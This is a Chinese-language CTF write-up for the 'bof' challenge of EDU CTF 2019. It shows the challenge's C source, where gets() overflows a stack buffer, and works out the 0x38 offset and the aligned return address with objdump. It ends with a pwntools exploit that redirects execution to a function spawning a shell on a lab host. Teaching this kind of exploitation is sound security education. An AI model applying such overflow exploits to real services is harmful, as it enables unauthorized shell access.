Yuawn Pwn1 bof Writeup

kazma 成大資安社 創辦人/社長

bof

Overview

附上這題的 source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<stdlib.h>

void try_to_call_me(){
system("sh");
}

int main(){

setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);

puts( "Welcome to EDU CTF 2019." );

char buf[0x30];
gets( buf );

return 0;
}

經典的 bof,這題目標就是透過沒有限制輸入長度的 gets() 函式來控 $rip 到 try_to_call_me() 來開一個 shell,那廢話不多說,有兩件事要做:

  1. 算 offset
  2. 要跳的位址

算 offset

我們直接用 objdump 來看看 buffer 的大小:

1
objdump -M intel -d ./bof | less

然後搜尋 main:

main

可以看到 buffer 的大小是 0x30,加上 saved rbp,我們的 offset 應該會是 0x38,第一階段完成。

要跳的位址

一樣直接在 objdump 裡面找 try_to_call_me() 就行:

call_me

那值得注意的是我們這邊不能直接跳到 0x400687,理由是我們必須對齊 0x10 的格式,而原本的 ret 就已經會有一個八個 bytes 的位址在 stack 裡,所以這邊一個比較直觀的解法是直接往後多跳一點到 0x40068b。
exploit 如下,題目是架在自己的機器上:

1
2
3
4
5
6
7
8
from pwn import *

r = remote('10.129.0.57', 10170)
r.recvuntil(b'\n')

r.sendline(b'a'*0x38 + p64(0x0040068b))

r.interactive()

執行結果:

result

Pwned !!!

  • Title: Yuawn Pwn1 bof Writeup
  • Author: kazma
  • Created at : 2023-12-10 18:53:39
  • Updated at : 2023-12-12 23:52:25
  • Link: https://kazma.tw/2023/12/10/Yuawn-Pwn1-bof-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
On this page
Yuawn Pwn1 bof Writeup